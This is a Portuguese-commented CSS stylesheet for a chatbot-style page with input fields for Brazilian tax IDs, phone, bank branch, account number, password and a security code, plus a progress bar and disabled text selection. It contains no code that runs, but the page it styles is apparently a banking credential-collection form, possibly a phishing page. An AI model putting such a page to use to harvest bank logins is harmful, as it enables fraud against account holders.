/* Reset básico */
body {
  margin: 0;
  padding: 0;
  font-family: Arial, sans-serif;
  background-color: #fff;
  padding: 100px 24px 40px 24px;
  -webkit-touch-callout: none;
  -webkit-user-select: none;
  -khtml-user-select: none;
  -moz-user-select: none;
  -ms-user-select: none;
  user-select: none;
  overflow: visible;
}

/* Estilo para o contêiner principal do chat */
#chat-container {
  width: 100%;
  height: 100%;
  display: flex;
  flex-direction: column;
  padding: 20px;
  background-color: #fff;
  border-radius: 10px;
  box-shadow: 0 0 10px rgba(0, 0, 0, 0.1);
  animation: fadeIn 0.5s ease forwards;
}

/* Cabeçalho fixo com a logo */
header {
  position: fixed;
  top: 0;
  left: 0;
  width: 100%;
  background-color: #FFFFFF;
  color: white;
  padding: 10px 0;
  text-align: center;
  z-index: 1000;
}

.logo {
  max-width: 100%;
  height: auto;
  display: block; /* Para evitar espaços extras ao redor da imagem */
  margin: 0 auto; /* Centraliza a imagem */
  width: auto; /* Mantém o tamanho natural da imagem */
}

@media (max-width: 768px) { /* Para celulares */
  .logo {
    width: 50%; /* Ajusta a largura para um tamanho maior no celular */
  }
}

@media (min-width: 1200px) { /* Para telas grandes */
  .logo {
    width: 200px; /* Define um tamanho fixo para desktops */
  }
}


/* Estilo das mensagens */
#chat {
  flex: 1;
  width: 100%;
  overflow-y: auto;
  display: flex;
  flex-direction: column;
  margin-top: 60px; /* Espaço para o cabeçalho */
}

.mensagem {
  padding: 10px;
  border-radius: 5px;
  margin-bottom: 10px;
  color: #626965;
  animation: fadeInMessage 0.5s ease forwards;
  font-family: "Montserrat", sans-serif;
  display: inline-block;
  max-width: 70%;
}

.chatbot {
  background-color: #fbf4f7;
  display: block;
  width: fit-content;
  max-width: 80%;
}

.usuario {
  background-color: #fff;
  text-align: right;
}

/* Estilo dos inputs e botões */
#input-container {
  display: flex;
  flex-direction: column;
  align-items: stretch;
  justify-content: flex-start;
  gap: 10px;
}

button {
  padding: 8px 20px;
  border: none;
  border-radius: 40px;
  background-color: #120cc7;
  color: #fff;
  font-size: 16px;
  cursor: pointer;
}

button:hover {
  background-color: #a30f0f;
}

#cpf-input, #cnpj-input, #phone-input {
  padding: 10px;
  border: 2px solid #ccc;
  border-radius: 40px;
  font-size: 16px;
  font-family: "Montserrat", sans-serif;
  color: #3b3b3b;
}

#cpf-input::placeholder, #cnpj-input::placeholder, #phone-input::placeholder {
  color: #848484;
}

#cpf-input:focus, #cnpj-input:focus, #phone-input:focus, input:focus {
  outline: none;
}

/* Botões de envio */
#enviar-btn, #enviar-btn2, #entrar-btn {
  width: 100%;
  padding: 10px;
  border-radius: 40px;
  background-color: #c70c0c;
  color: white;
  font-family: "Montserrat", sans-serif;
  font-size: 16px;
  cursor: pointer;
  margin-bottom: 10px;
}

#enviar-btn:hover, #enviar-btn2:hover, #entrar-btn:hover {
  background-color: #a30f0f;
}

/* Inputs de Agência, Conta e Senha */
#agencia-input, #conta-input, #senha-input {
  padding: 10px;
  border: 2px solid #ccc;
  border-radius: 40px;
  font-size: 16px;
  margin-bottom: 10px;
  font-family: "Montserrat", sans-serif;
  color: #3b3b3b;
}

#agencia-input::placeholder, #conta-input::placeholder, #senha-input::placeholder {
  color: #848484;
}

#agencia-input:focus, #conta-input:focus, #senha-input:focus {
  outline: none;
}

/* Barra de carregamento */
#progress-bar-container {
  width: 100%;
  background-color: #ccc;
  border-radius: 40px;
  margin-top: 10px;
  position: relative;
}

#progress-bar {
  width: 0%;
  height: 20px;
  background-color: #4caf50;
  border-radius: 40px;
  transition: width 1.5s ease;
}

#progress-text {
  position: absolute;
  width: 100%;
  text-align: center;
  color: #000;
  font-weight: bold;
}

/* Animações */
@keyframes fadeIn {
  from {
    opacity: 0;
    transform: translateY(-20px);
  }
  to {
    opacity: 1;
    transform: translateY(0);
  }
}

@keyframes fadeInMessage {
  from {
    opacity: 0;
    transform: translateY(-10px);
  }
  to {
    opacity: 1;
    transform: translateY(0);
  }
}

/* Estilo adicional para texto e layout */
body, button, input {
  font-family: "Montserrat", sans-serif;
}

/* Estilo para inputs da chave de segurança */
.codigo-seguro-input {
  padding: 10px;
  border: 2px solid #ccc;
  border-radius: 40px;
  font-size: 16px;
  width: 100%;
  margin-bottom: 10px;
  font-family: "Montserrat", sans-serif;
  color: #3b3b3b;
}

.codigo-seguro-input::placeholder {
  color: #848484;
}

.codigo-seguro-input:focus {
  outline: none;
}
